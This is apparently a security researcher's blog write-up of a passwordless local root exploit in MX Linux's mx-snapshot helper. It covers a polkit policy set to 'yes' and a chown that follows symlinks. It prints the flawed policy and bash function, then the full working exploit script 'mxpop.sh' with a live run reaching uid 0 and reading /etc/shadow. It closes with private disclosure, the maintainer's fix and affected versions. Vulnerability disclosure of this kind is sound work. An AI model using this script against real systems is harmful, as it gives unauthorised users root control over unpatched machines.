mxpop: passwordless root on MX Linux, by way of a snapshot helper
He that hath no rule over his own spirit is like a city that is broken down, and without walls.
Proverbs 25:28 (KJV)
victim, uid 1001, no sudo, no groups → bash mxpop.sh → uid=0(root), /etc/shadow in hand. no password typed, no agent prompt, and the helper is already back to root:root 755 before the # prompt shows up.the kernel side of this fleet has been a grind lately. every vendor SAUCE tree worth reading is hardened, gated, or already patched by the time i get there. so i did the thing the OpenWrt work taught me. when the kernel says no, stop reading the kernel and start reading the root userspace bolted on top of it.
a distro's own tool suite is the soft target. somebody wrote a GUI wrapper around
a privileged operation, wired it to polkit, and shipped it to every install. nobody
fuzzes those. nobody diffs them against upstream, because there is no upstream. the
vendor is upstream. MX Linux has a whole drawer of
them: mx-snapshot, mx-tweak, mx-cleanup,
mx-boot-options, a dozen more, all under
github.com/MX-Linux. that's where i went,
and it took about twenty minutes.
the wall with the gate left open
polkit actions live in /usr/share/polkit-1/actions/*.policy. each one
names a binary and says who may run it as root, and under what authentication. the
field that matters is <defaults>. the honest answer for a
privileged helper is auth_admin, which prompts for the admin password,
or auth_admin_keep for a short grace window. every MX policy in
that directory uses one of those. except one:
# /usr/share/polkit-1/actions/org.mxlinux.pkexec.mx-snapshot-lib.policy
<action id="org.mxlinux.pkexec.snapshot-lib">
<annotate key="org.freedesktop.policykit.exec.path">/usr/lib/mx-snapshot/snapshot-lib</annotate>
<defaults>
<allow_any>yes</allow_any>
<allow_inactive>yes</allow_inactive>
<allow_active>yes</allow_active>
</defaults>
</action>
# every other MX action, for contrast:
mx-tweak / mx-cleanup / mx-boot-options / mx-snapshot-helper / …
<allow_active>auth_admin_keep</allow_active> # needs the admin password
yes, not auth_admin. yes means no password, no
prompt, no admin group, no active-session requirement. any local
user, including one with no group memberships at all, can run
/usr/lib/mx-snapshot/snapshot-lib as root through pkexec. and
allow_inactive=yes means it works from an SSH session with no seat.
$ pkexec /usr/lib/mx-snapshot/snapshot-lib <subcommand> # runs as uid 0, no questions asked
so the whole question becomes whether there's anything in that helper an attacker can steer. the helper is a root shell with a fixed menu now, and all i have to find is a menu item that touches a path i control.
the menu item
snapshot-lib is a bash script. most of its subcommands are careful
enough. cleanup_overlay sanitizes its argument against
^[A-Za-z0-9._-]+$, kill_mksquashfs is harmless, the log
helpers are narrow. then there's chown_conf:
# /usr/lib/mx-snapshot/snapshot-lib
chown_conf() {
for app in iso-snapshot-cli mx-snapshot; do
FILE_NAME="/home/$(logname)/.config/MX-Linux/${app}.conf"
[[ -f "$FILE_NAME" ]] && chown $(logname): "$FILE_NAME" # no -h
done
}
the intent is benign. the snapshot tool sometimes gets run as root, writes its config file as root, and then the file is unwritable by the user who owns the GUI. so this exists to hand ownership back, chowning the user's config file to the user. reasonable problem, catastrophic implementation. walk the trust:
lognamereturns the calling user, soFILE_NAMEresolves to a path inside the attacker's own home directory.~/.config/MX-Linux/is owned by the attacker. he can put anything there, including a symlink namedmx-snapshot.conf.[[ -f "$FILE_NAME" ]]is astat(), and it follows symlinks. it confirms the target is a regular file, which almost everything on the system is. it says nothing about whether the path is safe.chownis called without-h. without-h, chown follows the symlink and applies the change to the link's target.
so chown_conf, running as root with no authentication, will chown
any root-owned regular file on the system to the calling user, as long as
the attacker points ~/.config/MX-Linux/mx-snapshot.conf at it first.
that's CWE-59 (link resolution before file access) stacked on CWE-269, the
over-permissive policy that lets an unprivileged user reach it at all.
arbitrary-chown-to-self, passwordless. that's the whole primitive.
from arbitrary chown to a root shell
the textbook move with arbitrary-chown is /etc/shadow or
/etc/passwd: own the auth database, write a uid-0 account, log in. it
works here. but it leaves the system's auth files altered, and i wanted a clean
repro, something i could hand a maintainer that returns the box to exactly
as-installed when you exit the shell. so i aimed the primitive at the helper itself.
# the helper is root-owned, mode 755, and polkit will run it as root for anyone
1. ln -s /usr/lib/mx-snapshot/snapshot-lib ~/.config/MX-Linux/mx-snapshot.conf
2. pkexec snapshot-lib chown_conf # the helper chowns *itself* to me: passwordless
3. echo PAYLOAD > snapshot-lib # I own it now; overwrite with my own script
4. pkexec snapshot-lib # polkit runs my payload as uid 0
step 3's payload is the trick that makes the repro clean. it's a single physical
line that restores the helper from a backup stashed in step 0, chowns it back to
root:root, removes the symlinks and the backup, then execs
an interactive root shell. because it's one line and ends in exec, bash
reads the entire command into memory before the cp overwrites the file
on disk, and exec replaces the process so the file is never re-read. by
the time you're at the # prompt the helper is already back to its
as-installed state, root-owned, original bytes. nothing on disk betrays that it
happened.
the whole thing is mxpop.sh:
#!/bin/bash
# mx-snapshot passwordless-pkexec LPE. drops to root, restores helper to original.
set -u
ME="$(id -un)"
LN="$(logname 2>/dev/null || echo "$ME")"
BAK="$(mktemp /tmp/.slib.XXXXXX)"
HELPER=""
for h in /usr/lib/mx-snapshot/snapshot-lib /usr/lib/iso-snapshot-cli/snapshot-lib; do
[ -x "$h" ] && { HELPER="$h"; break; }
done
[ -z "$HELPER" ] && { echo "[!] no snapshot-lib helper"; rm -f "$BAK"; exit 1; }
CFGDIR="/home/$LN/.config/MX-Linux"
C1="$CFGDIR/mx-snapshot.conf"
C2="$CFGDIR/iso-snapshot-cli.conf"
echo "[*] user=$ME logname=$LN helper=$HELPER"
# stash original
cp -a "$HELPER" "$BAK"
# step 1: own the helper via passwordless chown_conf + symlinked conf path
mkdir -p "$CFGDIR"
ln -sf "$HELPER" "$C1"
ln -sf "$HELPER" "$C2"
pkexec "$HELPER" chown_conf
if [ "$(stat -c %U "$HELPER" 2>/dev/null)" != "$ME" ]; then
echo "[!] FAIL: don't own $HELPER"; rm -f "$BAK" "$C1" "$C2"; exit 1
fi
# step 2: replace helper with payload that restores+cleans then execs root shell
printf '#!/bin/bash\ncp -a -- %q %q; chown root:root %q; rm -f -- %q %q %q; rmdir --ignore-fail-on-non-empty %q 2>/dev/null; exec /bin/bash -i\n' \
"$BAK" "$HELPER" "$HELPER" "$BAK" "$C1" "$C2" "$CFGDIR" > "$HELPER"
chmod 755 "$HELPER"
# step 3: pkexec fires payload as root
echo "[+] dropping root shell"
exec pkexec "$HELPER"
no primitive here is exotic. no spray, no leak, no race, no corrupted object. it's two config mistakes that compose into a deterministic single-shot LPE. the kind of bug that survives in a codebase for years precisely because it isn't interesting to a fuzzer. it's only interesting to someone reading the policy files by hand.
live
fresh MX Linux 25.2 install. user victim, uid 1001, sole group
victim, no sudo, no prior privilege of any kind.
victim@mxbox:~$ id
uid=1001(victim) gid=1001(victim) groups=1001(victim)
victim@mxbox:~$ groups
victim
victim@mxbox:~$ bash ~/mxpop.sh
[*] user=victim logname=victim helper=/usr/lib/mx-snapshot/snapshot-lib
[+] root shell incoming, everything already reset to default; 'exit' when done
root@mxbox:~# id
uid=0(root) gid=0(root) groups=0(root)
root@mxbox:~# head -1 /etc/shadow
root:*:20602:0:99999:7:::
root@mxbox:~# stat -c '%U:%G %a' /usr/lib/mx-snapshot/snapshot-lib
root:root 755 # helper already back to as-installed state
root@mxbox:~# exit
victim@mxbox:~$
uid=0(root), /etc/shadow readable, and the helper already
back to root:root 755 with its original content before the prompt even
appears. no password was typed. no authentication agent ever popped. the only
artifacts during the run live in /tmp and the user's own config
directory, and both are gone by the time the shell hands control back.
the fix
i reported this privately on 2026-05-30. the maintainer patched it the same day, and the fix is the right one. all three independent hardenings at once:
- Policy tightened to
auth_admin/auth_admin_keep, matching every other MX action, so the helper is no longer a free root shell. chown_confnow refuses symlinks outright, runsrealpathto confine the target under the expected directory, useschown -h, and derives the user fromPKEXEC_UIDrather than trustinglogname.- The config-write path drops privilege, so the retroactive chown isn't needed in the first place.
any one of those kills the chain, and together they close the class. a CVE is in process
through MITRE. affected: mx-snapshot ≤ 26.05.1, and any antiX-derived
spin repackaging the same snapshot-lib + policy pair. if you run MX,
update mx-snapshot.
the lesson, again
the kernel is the hard part and the userspace is the soft part, and the privileged userspace a distro writes itself is the softest part of all. shipped to every install, runs as root, glued together with bash and polkit XML, and almost nobody audits it because it doesn't look like an attack surface. it looks like plumbing.
allow_any=yes on one policy file and a missing -h on one
chown. twenty minutes of reading. a city broken down, and without walls.
. _SiCk · 0xdeadbeefnetwork · afflicted.sh